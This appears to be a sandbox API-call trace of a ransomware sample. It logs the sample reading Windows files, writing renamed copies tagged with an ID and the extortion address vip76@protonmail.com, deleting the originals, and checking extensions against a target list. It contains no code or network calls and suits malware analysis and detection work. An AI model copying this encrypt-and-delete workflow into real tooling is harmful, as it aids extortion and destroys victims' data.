	[0062.899] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.900] GetLastError () returned 0x0
	[0062.900] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xbfd, lpOverlapped=0x0) returned 1
	[0063.677] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0063.679] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.679] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0063.679] SetEndOfFile (hFile=0x334) returned 1
	[0063.679] CloseHandle (hObject=0x334) returned 1
	[0063.680] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.680] SetEndOfFile (hFile=0x328) returned 1
	[0063.682] CloseHandle (hObject=0x328) returned 1
	[0063.682] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.683] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1
	[0063.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.683] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.683] lstrlenW (lpString=".doc") returned 4
	[0063.683] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0063.683] lstrlenW (lpString=".docx") returned 5
	[0063.683] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0063.683] lstrlenW (lpString=".pdf") returned 4
	[0063.684] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString=".xls") returned 4
	[0063.684] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0063.684] lstrlenW (lpString=".xlsx") returned 5
	[0063.684] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0063.684] lstrlenW (lpString=".ppt") returned 4
	[0063.684] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.684] lstrlenW (lpString=".zip") returned 4
	[0063.684] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0063.684] lstrlenW (lpString=".rar") returned 4
	[0063.684] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString=".bz2") returned 4
	[0063.684] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString=".7z") returned 3
	[0063.684] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0063.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.684] lstrlenW (lpString=".dbf") returned 4
	[0063.684] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.684] lstrlenW (lpString=".1cd") returned 4
	[0063.684] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.684] lstrlenW (lpString=".jpg") returned 4
	[0063.684] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0063.684] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.685] lstrlenW (lpString=".doc") returned 4
	[0063.685] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString=".docx") returned 5
	[0063.685] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0063.685] lstrlenW (lpString=".pdf") returned 4
	[0063.685] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString=".xls") returned 4
	[0063.685] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0063.685] lstrlenW (lpString=".xlsx") returned 5
	[0063.685] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0063.685] lstrlenW (lpString=".ppt") returned 4
	[0063.685] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.685] lstrlenW (lpString=".zip") returned 4
	[0063.685] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0063.685] lstrlenW (lpString=".rar") returned 4
	[0063.685] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString=".bz2") returned 4
	[0063.685] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString=".7z") returned 3
	[0063.685] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.685] lstrlenW (lpString=".dbf") returned 4
	[0063.685] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.685] lstrlenW (lpString=".1cd") returned 4
	[0063.686] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0063.686] lstrlenW (lpString=".jpg") returned 4
	[0063.686] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0063.686] lstrcmpiW (lpString1=".xsd", lpString2=".html") returned 1
	[0063.686] lstrlenW (lpString="SetupUi.xsd") returned 11
	[0063.686] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.686] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=30120) returned 1
	[0063.686] CloseHandle (hObject=0x328) returned 1
	[0063.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0063.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.687] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.687] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.688] GetLastError () returned 0x0
	[0063.688] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x75a8, lpOverlapped=0x0) returned 1
	[0063.690] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x75b0, lpOverlapped=0x0) returned 1
	[0063.692] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.692] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xea, lpOverlapped=0x0) returned 1
	[0063.692] SetEndOfFile (hFile=0x334) returned 1
	[0063.693] CloseHandle (hObject=0x334) returned 1
	[0063.694] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.694] SetEndOfFile (hFile=0x328) returned 1
	[0063.696] CloseHandle (hObject=0x328) returned 1
	[0063.696] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.696] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1
	[0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.697] lstrlenW (lpString=".doc") returned 4
	[0063.697] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString=".docx") returned 5
	[0063.697] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0063.697] lstrlenW (lpString=".pdf") returned 4
	[0063.697] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString=".xls") returned 4
	[0063.697] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString=".xlsx") returned 5
	[0063.697] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0063.697] lstrlenW (lpString=".ppt") returned 4
	[0063.697] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.697] lstrlenW (lpString=".zip") returned 4
	[0063.697] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0063.697] lstrlenW (lpString=".rar") returned 4
	[0063.697] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString=".bz2") returned 4
	[0063.697] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0063.697] lstrlenW (lpString=".7z") returned 3
	[0063.698] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString=".dbf") returned 4
	[0063.698] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString=".1cd") returned 4
	[0063.698] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString=".jpg") returned 4
	[0063.698] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString=".doc") returned 4
	[0063.698] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString=".docx") returned 5
	[0063.698] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0063.698] lstrlenW (lpString=".pdf") returned 4
	[0063.698] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString=".xls") returned 4
	[0063.698] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString=".xlsx") returned 5
	[0063.698] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0063.698] lstrlenW (lpString=".ppt") returned 4
	[0063.698] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.698] lstrlenW (lpString=".zip") returned 4
	[0063.699] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0063.699] lstrlenW (lpString=".rar") returned 4
	[0063.699] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0063.699] lstrlenW (lpString=".bz2") returned 4
	[0063.699] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0063.699] lstrlenW (lpString=".7z") returned 3
	[0063.699] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0063.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.699] lstrlenW (lpString=".dbf") returned 4
	[0063.699] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0063.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.699] lstrlenW (lpString=".1cd") returned 4
	[0063.699] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0063.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0063.699] lstrlenW (lpString=".jpg") returned 4
	[0063.699] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0063.699] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1
	[0063.699] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0063.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.700] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=41080) returned 1
	[0063.700] CloseHandle (hObject=0x328) returned 1
	[0063.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0063.700] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0063.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.700] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.701] GetLastError () returned 0x0
	[0063.701] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xa078, lpOverlapped=0x0) returned 1
	[0063.704] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xa080, lpOverlapped=0x0) returned 1
	[0063.706] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.706] WriteFile (in: hFile=0x334, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0063.706] SetEndOfFile (hFile=0x334) returned 1
	[0063.706] CloseHandle (hObject=0x334) returned 1
	[0063.708] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.708] SetEndOfFile (hFile=0x328) returned 1
	[0063.710] CloseHandle (hObject=0x328) returned 1
	[0063.710] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0063.710] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1
	[0063.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.710] lstrlenW (lpString=".doc") returned 4
	[0063.710] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".docx") returned 5
	[0063.711] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0063.711] lstrlenW (lpString=".pdf") returned 4
	[0063.711] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".xls") returned 4
	[0063.711] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".xlsx") returned 5
	[0063.711] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0063.711] lstrlenW (lpString=".ppt") returned 4
	[0063.711] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.711] lstrlenW (lpString=".zip") returned 4
	[0063.711] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".rar") returned 4
	[0063.711] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".bz2") returned 4
	[0063.711] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString=".7z") returned 3
	[0063.711] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0063.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.711] lstrlenW (lpString=".dbf") returned 4
	[0063.711] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0063.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.711] lstrlenW (lpString=".1cd") returned 4
	[0063.711] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0063.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.712] lstrlenW (lpString=".jpg") returned 4
	[0063.712] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0063.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0063.712] lstrlenW (lpString=".doc") returned 4
	[0063.712] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0063.712] lstrlenW (lpString=".docx") returned 5
	[0063.712] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0063.712] lstrlenW (lpString=".pdf") returned 4
	[0063.712] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0063.712] lstrlenW (lpString=".xls") returned 4
	[0064.151] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString=".xlsx") returned 5
	[0064.151] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0064.151] lstrlenW (lpString=".ppt") returned 4
	[0064.151] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0064.151] lstrlenW (lpString=".zip") returned 4
	[0064.151] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString=".rar") returned 4
	[0064.151] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString=".bz2") returned 4
	[0064.151] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString=".7z") returned 3
	[0064.151] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0064.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0064.151] lstrlenW (lpString=".dbf") returned 4
	[0064.151] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0064.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0064.151] lstrlenW (lpString=".1cd") returned 4
	[0064.151] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0064.151] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0064.151] lstrlenW (lpString=".jpg") returned 4
	[0064.151] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0064.152] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.152] lstrlenW (lpString="Content.xml") returned 11
	[0064.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0064.375] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=27045) returned 1
	[0064.375] CloseHandle (hObject=0x364) returned 1
	[0064.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0064.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0064.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.375] lstrlenW (lpString=".doc") returned 4
	[0064.375] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.375] lstrlenW (lpString=".docx") returned 5
	[0064.375] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0064.375] lstrlenW (lpString=".pdf") returned 4
	[0064.375] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString=".xls") returned 4
	[0064.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString=".xlsx") returned 5
	[0064.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0064.376] lstrlenW (lpString=".ppt") returned 4
	[0064.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString=".zip") returned 4
	[0064.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.376] lstrlenW (lpString=".rar") returned 4
	[0064.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString=".bz2") returned 4
	[0064.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString=".7z") returned 3
	[0064.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString=".dbf") returned 4
	[0064.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString=".1cd") returned 4
	[0064.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString=".jpg") returned 4
	[0064.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0064.376] lstrlenW (lpString=".doc") returned 4
	[0064.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.376] lstrlenW (lpString=".docx") returned 5
	[0064.376] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0064.376] lstrlenW (lpString=".pdf") returned 4
	[0064.377] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString=".xls") returned 4
	[0064.377] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.377] lstrlenW (lpString=".xlsx") returned 5
